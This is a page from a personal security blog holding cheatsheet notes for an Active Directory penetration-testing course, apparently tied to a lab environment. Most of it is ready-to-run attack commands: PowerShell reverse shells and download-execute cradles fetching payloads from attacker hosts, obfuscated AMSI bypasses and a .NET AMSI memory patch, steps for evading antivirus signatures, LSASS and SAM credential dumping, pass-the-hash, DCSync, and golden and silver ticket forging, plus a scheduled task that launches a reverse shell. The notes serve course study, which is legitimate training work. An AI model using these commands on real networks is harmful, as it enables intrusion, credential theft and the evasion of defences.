🐳
Swayam's Blog
LinkedinGithub
  • 🫚root@Swayam's Blog
  • 🕺About Me
  • 🛠️Projects
    • CurveLock
    • ShadowChain
  • 🐞Malware Analysis
    • Basic Malware Analysis
      • LAB Network Setup
      • Basic Static Analysis
      • Basic Dynamic Analysis
      • Advanced Dynamic Analysis
      • Advanced Static Analysis
      • Identifying Anti analysis techniques
      • Binary Patching
      • Shellcode Analysis
      • Malware.unknown.exe.Malz
      • Challenge-Sillyputty
      • Bind_shell RAT Analysis
      • Malicious Powershell Script
      • Malicious HTA(HTML Applications)
      • Phishing Excel Embedded Malware
      • Reversing Csharp And DotNET Framework
      • YARA rules
      • Automating Malware Analysis
    • MASM 64 Bit Assembly
      • Hello World Of Assembly Language
      • Computer Data Representation and Operations
      • Memory Access And Organization
      • Constants, Variables And Data Types
      • Procedures
  • 👨‍💻Malware/Exploit Development
    • Driver Development
      • Driver 101
      • Kernel Calbacks
      • Process Protection
      • Process Token Privilege
  • 📖Notes And Cheatsheets
    • OSCP / Application Security
      • OS stuff
        • Footprinting
        • Nmap
        • Shells
        • Metasploit
        • Windows Buffer Overflow
        • Windows
        • Windows Privilege Escalation
        • Linux Commands
        • Linux Privilege Escalation
        • Password Cracking
        • Pivoting And Tunneling
        • Macos
      • General Introduction
        • Basic Tools
        • Basic Networking
      • WebApps
        • Attacking Common Applications
        • Attacking Common Services
        • Broken Authentication
        • Burp Proxy
        • Common Apps
        • Command Injection
        • ffuf Fuzzing
        • File Inclusion
        • File Transfer
        • File Upload
        • Javascript Deobfuscation
        • Password Attacks
        • SQLi
        • Web attacks
        • Web Information Gathering
        • Wordpress
        • Brute Forcing
        • HTTP Curl
      • Active Directory
    • Wireless Attacks
    • Red Teaming
    • BloodHound
    • Pentesting
    • ADCS
  • 🚩CTFs
    • Google CTF
Powered by GitBook
On this page
  • General
  • Powershell Scripts and Modules
  • Execution Policy Bypasses
  • Bypassing AV signatures
  • Domain Enumeration
  • Local Privilege Escalation
  • Feature Abuse
  • Lateral Movement
  • Offensive .NET Tradecraft
  • Persistence
  • Domain Privilege Escalation
  • Cross-Domain(Child-Parent) Privilege Escalation
  • Cross-Forest Privilege Escalation
  • MS-SQL Servers Abuse
  • MDI Bypass
  • Protect and Limit Domain Admins
  • Isolate administrative workstations
  • Secure local administrators
  • Time Bound Administration
  • Defenses
  • Detections
  • Recommended Readings
  1. Notes And Cheatsheets

Pentesting

Cheatsheet and Notes for Altered security's CRTP course

General

• Check tickets -

klist

• Copy files remotely -

echo F | xcopy C:\AD\Tools\Loader.exe \\dcorp-dc\C$\Users\Public\Loader.exe /Y

• Always use loader.exe to run binaries.

• Registry query for scripts policy -

reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2

• With admin privileges:

	C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat

• With non-admin privileges(preferred):

	C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat

• Type exit from the new PowerShell session to complete the clean-up. • Show all tasks -

tasklist /v

• Access C disk of a computer (check local admin)

ls \\<computername>\c$

• Powershell reverse shell

Powershell.exe iex (iwr http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1 -UseBasicParsing);reverse -Reverse -IPAddress xx.xx.xx.xx -Port 4000

• Use this parameter to not print errors powershell

-ErrorAction SilentlyContinue

• Rename powershell windows

$host.ui.RawUI.WindowTitle = "<name>"

• Impacket PSexec impacket If no LM Hash use an empty one: aad3b435b51404eeaad3b435b51404ee

python3 psexec.py -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME>@<TARGET>

python3 psexec.py <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET>

• Disable AV monitoring

Set-MpPreference -DisableRealtimeMonitoring $true

• Check the language mode

$ExecutionContext.SessionState.LanguageMode

• Enumerate applocker policy

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Powershell Scripts and Modules

• Load a PowerShell script using dot sourcing

	. C:\AD\Tools\PowerView.ps1

• A module (or a script) can be imported with:

Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

• All the commands in a module can be listed with:

Get-Command -Module <modulename>

• Download execute cradle

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')


$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1
');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

• PSv3 onwards -

iex (iwr 'http://192.168.230.1/evil.ps1')


$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex $h.responseText


$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

• Copy script to other server

Copy-Item .\Invoke-MimikatzEx.ps1 \\<servername>\c$\'Program Files'

Execution Policy Bypasses

Not a security measure. Just to prevent users from accidentally executing scripts.

powershell -ExecutionPolicy bypass

powershell -c <cmd>

powershell -encodedcommand

$env:PSExecutionPolicyPreference="bypass"

Bypassing AV signatures

For partial obfuscation -

  1. Scan using AMSITrigger

  2. Modify the detected code snippet

  3. Rescan using AMSITrigger

  4. Repeat the steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or “Blank”

If There are multiple detections. We need to make the following changes:

  1. Remove the comments.

  2. Modify each use of "DumpCreds".

  3. Modify the variable names of the Win32 API calls that are detected.

  4. Reverse the strings that are detected and the dll strings .

For full obfuscation -

AMSI Bypass

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)
Invoke-Command -Scriptblock {sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )} $sess

For .NET AMSI bypass

$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtrdwSize,uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ =[ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('&#97;&#109;&#115;&#105;&#46;&#100;&#108;&#108;'))")
$XPYMWR =[ZQCUW]::GetProcAddress($BBWHVWQ,"$([systeM.neT.webUtility]::HtMldECoDE('&#65;&#109;&#115;&#105;&#83;&#99;&#97;&#110;&#66;&#117;&#102;&#102;&#101;&#114;'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)

Domain Enumeration

For enumeration we can use the following tools

Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll

Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
  1. 	. C:\AD\Tools\PowerView.ps1

Domain Enumeration Commands

• Get current domain

Get-Domain (PowerView)

Get-NetDomain (Also Powerview)

Get-ADDomain (ActiveDirectory Module)

• Get object of another domain

Get-Domain -Domain moneycorp.local

Get-ADDomain -Identity moneycorp.local

• Get domain SID for the current domain

Get-DomainSID

(Get-ADDomain).DomainSID

• Get domain policy for the current domain

Get-DomainPolicyData

(Get-DomainPolicyData).systemaccess

• Get domain policy for another domain

(Get-DomainPolicyData -domain moneycorp.local).systemaccess

• Get domain controllers for the current domain

Get-DomainController

Get-NetDomainController

Get-NetDomainController | select-object Name

Get-ADDomainController

• Get domain controllers for another domain

Get-DomainController -Domain moneycorp.local

Get-ADDomainController -DomainName moneycorp.local -Discover

• Get the domain password policy

Get-DomainPolicy

(Get-DomainPolicy)."System Access"

net accounts

• Get a list of users in the current domain

Get-DomainUser

Get-DomainUser -Identity student1

Get-NetUser | select samaccountname

Get-ADUser -Filter * -Properties *

Get-ADUser -Identity student1 -Properties *

• Get list of all properties for users in the current domain

Get-DomainUser -Identity student1 -Properties *

Get-DomainUser -Properties samaccountname,logonCount

Get-NetUser

Get-NetUser -Username <username>

Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name

Get-ADUser -Filter * -Properties * | select name,logoncount,@{expression={[datetime]::fromFileTime($_.pwdlastset )}}

• Search for a particular string in a user's attributes:

Get-DomainUser -LDAPFilter "Description=*built*" | Select name,Description

Find-UserField -SearchField Description -SearchTerm "built"

Get-netuser | Select-Object samaccountname,description

Get-ADUser -Filter 'Description -like "*built*"' - Properties Description | select name,Description

• Get list of usernames, last logon and password last set

Get-NetUser | select samaccountname, lastlogon, pwdlastset

Get-NetUser | select samaccountname, lastlogon, pwdlastset | Sort-Object -Property lastlogon

• Get list of usernames and their groups

Get-NetUser | select samaccountname, memberof

• Get list of all properties for users in the current domain

get-userproperty -Properties pwdlastset

• Get a list of computers in the current domain

Get-DomainComputer | select Name

Get-DomainComputer -OperatingSystem "*Server 2022*"

Get-DomainComputer -Ping

Get-NetComputer

Get-NetComputer -FullData

Get-NetComputer -OperatingSystem "*Server 2016*"

Get-NetComputer -Computername <computername> -FullData

Get-NetComputer -fulldata | select samaccountname, operatingsystem, operatingsystemversion

Get-ADComputer -Filter * | select Name

Get-ADComputer -Filter * -Properties *

Get-ADComputer -Filter 'OperatingSystem -like "*Server 2022*"' -Properties OperatingSystem | select Name,OperatingSystem

Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}

• Get all the groups in the current domain

Get-DomainGroup | select Name

Get-DomainGroup -Domain <targetdomain>

Get-NetGroup

Get-NetGroup -Domain <domain>

Get-ADGroup -Filter * | select Name

Get-ADGroup -Filter * -Properties *

• Get all groups containing the word "admin" in group name

Get-DomainGroup *admin*

Get-NetGroup -GroupName *admin*

Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

• Get all the members of the Domain Admins group

Get-DomainGroupMember -Identity "Domain Admins" -Recurse

Get-NetGroupMember -Groupname "Domain Admins" -Recurse

Get-NetGroupMember -Groupname "Domain Admins" -Recurse | select MemberName

Get-ADGroupMember -Identity "Domain Admins" -Recursive

• Get all the members of the Enterprise Admins group

Get-NetGroupMember -Identity "Enterprise Admins" -Domain moneycorp.local

Get-ADGroupMember -Identity 'Enterprise Admins' -Server moneycorp.local

• Get the group membership for a user:

Get-DomainGroup -UserName "student1"

Get-NetGroup -Username <username>

Get-ADPrincipalGroupMembership -Identity student1

• List all the local groups on a machine (needs administrator privs on non-dc machines) :

Get-NetLocalGroup -ComputerName dcorp-dc -ListGroups

• Get members of the local group "Administrators" on a machine (needs administrator privs on non-dc machines) :

Get-NetlocalGroup -Computername <computername> -Recurse

Get-NetLocalGroupMember -ComputerName dcorp-dc -GroupName Administrators

• Get actively logged users on a computer (needs local admin rights on the target)

Get-NetLoggedon -ComputerName <computername>

• Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)

Get-LoggedonLocal -ComputerName <computername>

• Get the last logged user on a computer (needs administrative rights and remote registry on the target)

Get-LastLoggedOn -ComputerName <computername>

• Find shared on hosts in the current domain (noisy):

Invoke-ShareFinder -Verbose

Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC

• Find sensitive files on computers in the domain (Noisy):

Invoke-FileFinder -Verbose

• Get all fileservers of the domain (Noisy):

Get-NetFileServer

Group Policy Enumeration

• Get list of GPO in current domain.

Get-DomainGPO

Get-NetGPO

Get-NetGPO -Computername <computername>

Get-DomainGPO -ComputerIdentity dcorp-student1

• Get GPO(s) which use Restricted Groups or groups.xml for interesting users

Get-DomainGPOLocalGroup

Get-NetGPOGroup

• Get users which are in a local group of a machine using GPO

Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity dcorp-student1

Find-GPOComputerAdmin -Computername <computername>

• Get machines where the given user is member of a specific group

Get-DomainGPOUserLocalGroupMapping -Identity student1 -Verbose

Find-GPOLocation -Username student244 -Verbose

• Get OUs in a domain

Get-DomainOU

Get-NetOU

Get-ADOrganizationalUnit -Filter * -Properties *

• Get GPO applied on an OU (Read GPOname from gplink attribute from Get-NetOU)

Get-NetGPO -GPOname "{<gplink>}"

Get-DomainGPO -Identity "{0D1CC23D-1F20-4EEE-AF64-D99597AE2A6E}"

• Get machines that are part of an OU

Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}

Access Control Lists (ACL) Enumeration

• Get the ACLs associated with the specified object

Get-DomainObjectAcl -SamAccountName student1 -ResolveGUIDs

Get-ObjectACL -SamAccountName <accountname> -ResolveGUIDS

• Get the ACLs associated with the specified prefix to be used for search

Get-DomainObjectAcl -SearchBase "LDAP://CN=DomainAdmins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose

Get-ObjectACL -ADSprefix ‘CN=Administrator,CN=Users’ -Verbose

• We can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs

(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access

• Get the ACL's associated with the specified path

Get-PathAcl -Path \\<Domain controller>\sysvol

• Search for interesting ACL's

Find-InterestingDomainAcl -ResolveGUIDs

Invoke-ACLScanner -ResolveGUIDs

Invoke-ACLScanner -ResolveGUIDs | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl

• Search of interesting ACL's for the current user

Invoke-ACLScanner | Where-Object {$_.IdentityReference –eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}

Domain Trusts

• Get a list of all domain trusts for the current domain

Get-DomainTrust

Get-DomainTrust -Domain us.dollarcorp.moneycorp.local

Get-NetDomainTrust

Get-ADTrust

Get-ADTrust -Identity us.dollarcorp.moneycorp.local

• Get details about the current forest

Get-Forest

Get-Forest -Forest eurocorp.local

Get-NetForest

Get-ADForest

Get-ADForest -Identity eurocorp.local

• Get all domains in the current forest

Get-ForestDomain

Get-ForestDomain -Forest eurocorp.local

Get-NetForestDomain

Get-NetforestDomain -Forest <domain name>

(Get-ADForest).Domains

• Get all global catalogs for the current forest

Get-ForestGlobalCatalog

Get-ForestGlobalCatalog -Forest eurocorp.local

Get-NetForestCatalog

Get-NetForestCatalog -Forest <domain name>

Get-ADForest | select -ExpandProperty GlobalCatalogs

• Map trusts of a forest

Get-ForestTrust

Get-ForestTrust -Forest eurocorp.local

Get-NetForestTrust

Get-NetForestTrust -Forest <domain name>

Get-NetForestDomain -Verbose | Get-NetDomainTrust

Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

User Hunting

• Find all machines on the current domain where the current user has local admin access

Find-LocalAdminAccess -Verbose

• This function queries the DC of the current or provided domain for a list of computers (Get-NetComputer) and then use multi-threaded Invoke-CheckLocalAdminAccess on each machine. • This can also be done with the help of remote administration tools like WMI and PowerShell remoting. Pretty useful in cases where ports (RPC and SMB) used by Find-LocalAdminAccess are blocked. • See Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1 • Find computers where a domain admin (or specified user/group) has sessions:

Find-DomainUserLocation -Verbose

Find-DomainUserLocation -UserGroupIdentity "RDPUsers"

Invoke-UserHunter -Groupname "Domain Admins"

• This function queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-DomainGroupMember, gets a list of computers (Get-DomainComputer) and list sessions and logged on users (Get-NetSession/Get-NetLoggedon) from each machine. • Note that for Server 2019 and onwards, local administrator privileges are required to list sessions. • Find computers where a domain admin session is available and current user has admin access (uses Test-AdminAccess).

Find-DomainUserLocation -CheckAccess

• Find computers (File Servers and Distributed File servers) where a domain admin session is available.

Find-DomainUserLocation -Stealth

• Find local admins on all machines of the domain (needs admin privs)

Invoke-EnumerateLocalAdmin -Verbose

• Connect to machine with administrator privs

Enter-PSSession -Computername <computername>

• Save and use sessions of a machine

$sess = New-PSSession -Computername <computername>
Enter-PSSession $sess

• Find active sessions

Invoke-UserHunter
Invoke-UserHunter -Groupname "RDPUsers"

BloodHound

• Supply data to BloodHound (Remember to bypass .NET AMSI):

	. C:\AD\Tools\BloodHound-master\Collectors\SharpHound.ps1

Then,

Invoke-BloodHound -CollectionMethod All

or

	SharpHound.exe

• The generated archive can be uploaded to the BloodHound application.

• To make BloodHound collection stealthy, use –Stealth option. This removes noisy collection methods like RDP, DCOM, PSRemote and LocalAdmin :

	Invoke-BloodHound –Steatlh

or

	SharpHound.exe –-steatlh

• To avoid detections like MDI -

	Invoke-BloodHound -ExcludeDCs

Local Privilege Escalation

• Ways to locally escalating privileges on Windows box:

  1. Missing patches

  2. Automated deployment and AutoLogon passwords in clear text

  3. AlwaysInstallElevated (Any user can run MSI as SYSTEM)

  4. Misconfigured Services

  5. DLL Hijacking and more

  6. NTLM Relaying a.k.a. Won't Fix

• We can use below tools for complete coverage

• Run all checks from :

  1. PowerUp Invoke-AllChecks

  2. Privesc: Invoke-PrivEsc

  3. PEASS-ng: winPEASx64.exe

Services Issues using PowerUp

• Get services with unquoted paths and a space in their name.

Get-ServiceUnquoted -Verbose

Get-ModifiableServiceFile -Verbose

• Get services where the current user can write to its binary path or change arguments to the binary

Get-ModifiableServiceFile -Verbose

• Get the services whose configuration current user can modify.

Get-ModifiableService -Verbose

• Abuse service to get local admin permissions with powerup

Invoke-ServiceAbuse

Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName '<domain>\username>'

Feature Abuse

Jekins

• Lets assume there is a Jenkins server running on dcorp-ci (172.16.3.11) on port 8080.

• Apart from numerous plugins, there are two ways of executing commands on a Jenkins Master.

• If you have Admin access (default installation before 2.x), go to http://<jenkins_server>/script

• In the script console, Groovy scripts could be executed.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '
[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

• If you don't have admin access but could add or edit build steps in the build configuration. Add a build step, add "Execute Windows Batch Command" and enter:

	powershell -c <command>

• Again, you could download and execute scripts, run encoded scripts and more.

Add user to local admin and RDP group and enable RDP on firewall

net user <username> <password> /add /Y   && net localgroup administrators <username> /add   && net localgroup "Remote Desktop Users" <username> /add && reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f && netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Lateral Movement

Powershell Remoting

One-to-One

  1. PSSession – Interactive – Runs in a new process (wsmprovhost) – Is Stateful

  2. Useful cmdlets – New-PSSession – Enter-PSSession

• Connect to machine with administrator privs

Enter-PSSession -Computername <computername>

$sess = New-PSSession -Computername <computername>
Enter-PSSession $sess

One-to-Many Also known as Fan-out remoting.

• Non-interactive.

• Executes commands parallely.

• Useful cmdlets

	– Invoke-Command

• Run commands and scripts on

  1. multiple remote computers,

  2. in disconnected sessions (v3)

  3. as background job and more.

• The best thing in PowerShell for passing the hashes, using credentials and executing commands on multiple remote computers.

• Use -Credential parameter to pass username/password.

• Use below to execute commands or scriptblocks:

Invoke-Command -Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)

Invoke-Command -Scriptblock {whoami} $sess

• Use below to execute scripts from files

Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)

Invoke-Command -FilePath <path> $sess

• Download and load script on a machine

iex (iwr http://xx.xx.xx.xx/<scriptname> -UseBasicParsing)

• Use below to execute locally loaded function on the remote machines:

Invoke-Command -ScriptBlock ${function:<function>} -ComputerName (Get-Content <list_of_servers>)

• In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this way:

Invoke-Command -ScriptBlock ${function:<function>} -ComputerName (Get-Content <list_of_servers>) -ArgumentList

• below, a function call within the script is used:

Invoke-Command -Filepath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)

• Use below to execute "Stateful" commands using Invoke-Command:

$Sess = New-PSSession -Computername Server1
Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process}

Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name}

• We can use winrs in place of PSRemoting to evade the logging (and still reap the benefit of 5985 allowed between hosts):

winrs -remote:server1 -u:server1\administrator - p:Pass@1234 hostname

winrs -r:dcorp-adminsrv cmd

• Dump credentials on a local machine using Mimikatz.

Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

Invoke-Mimikatz -Dumpcreds

Invoke-Mimikatz -Dumpcreds -Computername @(“<system1>”,”<system2>”)

• Using SafetyKatz (Minidump of lsass and PELoader to run Mimikatz)

SafetyKatz.exe "sekurlsa::ekeys"

• Dump credentials Using SharpKatz (C# port of some of Mimikatz functionality).

SharpKatz.exe --Command ekeys

• Dump credentials using Dumpert (Direct System Calls and API unhooking)

rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump

• Using pypykatz (Mimikatz functionality in Python)

pypykatz.exe live lsa

• Using comsvcs.dll

tasklist /FI "IMAGENAME eq lsass.exe"
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <lsass process ID> C:\Users\Public\lsass.dmp full

• Mimikatz start powershell pass the hash (run as local admin)

Invoke-Mimikatz -Command '"sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlm hash> /run:powershell.exe"'

• Mimikatz dump from SAM

Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'

or

reg save HKLM\SAM SamBkup.hiv
reg save HKLM\System SystemBkup.hiv
#Start mimikatz as administrator
privilege::debug
token::elevate
lsadump::sam SamBkup.hiv SystemBkup.hiv

• Mimikatz dump lsa (krbtgt to)

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computername>

• Over Pass the hash (OPTH) generate tokens from hashes or keys. Needs elevation (Run as administrator)

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:us.techcorp.local /aes256:<aes256key> /run:powershell.exe"'

SafetyKatz.exe "sekurlsa::pth /user:administrator /domain:us.techcorp.local /aes256:<aes256keys> /run:cmd.exe" "exit"

Rubeus.exe asktgt /user:administrator /aes256:<aes256keys> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

• Below doesn't need elevation

Rubeus.exe asktgt /user:administrator /rc4:<ntlmhash> /ptt

• To extract credentials from the DC without code execution on it, we can use DCSync.To use the DCSync feature for getting krbtgt hash to execute the below command with DA privileges for us domain(Domain Admins privileges required):

Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'

SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"

• Port forwarding using winrs -

$null | winrs - r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.x"

• Run Safetykatz through winrs port forwarding

$null | winrs -r:dcorp-mgmt C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::ekeys exit

Offensive .NET Tradecraft

AV bypass

• For that, we can use techniques like Obfuscation, String Manipulation etc.

	DefenderCheck.exe <Path to binary>

• This helps us in deciding on modifying the source code and minimal obfuscation.

String Manipulation

  1. Open the project in Visual Studio.

  2. Press "CTRL + H".

  3. Find and replace the string "Credentials" with "Credents" you can use any other string as an replacement. (Make sure that string is not present in the code)

  4. Select the scope as "Entire Solution".

  5. Press "Replace All" button.

  6. Build and recheck the binary with DefenderCheck.

  7. Repeat above steps if still there is detection

Example - Safetykatz.exe

  1. Download latest version of Mimikatz and Out-CompressedDll.ps1

  2. Run the Out-CompressedDll.ps1 PowerShell script on Mimikatz binary and save the output to a file.

    Out-CompressedDll <Path to mimikatz.exe> > outputfilename.txt
  3. Copy the value of the variable "$EncodedCompressedFile" from the output file above and replace the value of "compressedMimikatzString" variable in the "Constants.cs" file of SafetyKatz.

  4. Copy the byte size from the output file and replace it in "Program.cs" file on the line 111 & 116.

  5. Build and recheck the binary with DefenderCheck

Obfuscation

  1. Launch ConfuserEx • In Project tab select the Base Directory where the binary file is located. • In Project tab Select the Binary File that we want to obfuscate. • In Settings tab add the rules. • In Settings tab edit the rule and select the preset as Normal. • In Protect tab click on the protect button.

  2. We will find the new obfuscated binary in the Confused folder under the Base Directory.

Payload Delivery

• It can be used to load binary from filepath or URL and patch AMSI & ETW while executing.

	C:\Users\Public\Loader.exe -path http://192.168.100.X/SafetyKatz.exe

• We also have AssemblyLoad.exe that can be used to load the Netloader in-memory from a URL which then loads a binary from a filepath or URL.

	C:\Users\Public\AssemblyLoad.exe http://192.168.100.X/Loader.exe -path http://192.168.100.X/SafetyKatz.exe

Persistence

• Dump hashes - Get the krbtgt hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computername>

• Use the DCSync feature for getting krbtgt hash. Execute with DA privileges (or a user that has replication rights on the domain object):

Invoke-Mimikatz -Command '"lsadump::dcsync /user:<domain>\krbtgt"'

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"

• Check WMI Permission

Get-wmiobject -Class win32_operatingsystem -ComputerName <computername>

Golden ticket (Access to all Computers and services) Use /ticket instead of /ptt to save the ticket to file instead of loading in current powershell process. To get the SID use Get-DomainSID from powerview.

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<domain sid> /krbtgt:<hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

Silver Ticket (Access to only one service) •Using the hash of the computer

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<domain sid> /target:<target> /service:CIFS /rc4:<local computer hash> /user:Administrator /ptt"'

•Using the hash of the Domain Controller computer account

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /target:dcorp-dc.dollarcorp.moneycorp.local /service:CIFS /rc4:e9bb4c3d1327e29093dfecab8c2676f6 /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

•Check access (After CIFS silver ticket)

ls \\<servername>\c$\

•Make silver ticket for Host

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<domain sid> /target:<target> /service:HOST /rc4:<local computer hash> /user:Administrator /ptt"'

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:e9bb4c3d1327e29093dfecab8c2676f6 /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

•Schedule and execute a task after silver ticket (Noisy)

schtasks /create /S <target> /SC Weekly /RU "NT Authority\SYSTEM" /TN "Reverse" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1''')'"

schtasks /Run /S <target> /TN “Reverse”

•Make silver ticket for WMI . Execute for WMI /service:HOST /service:RPCSS

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<domain sid> /target:<target> /service:HOST /rc4:<local computer hash> /user:Administrator /ptt"'

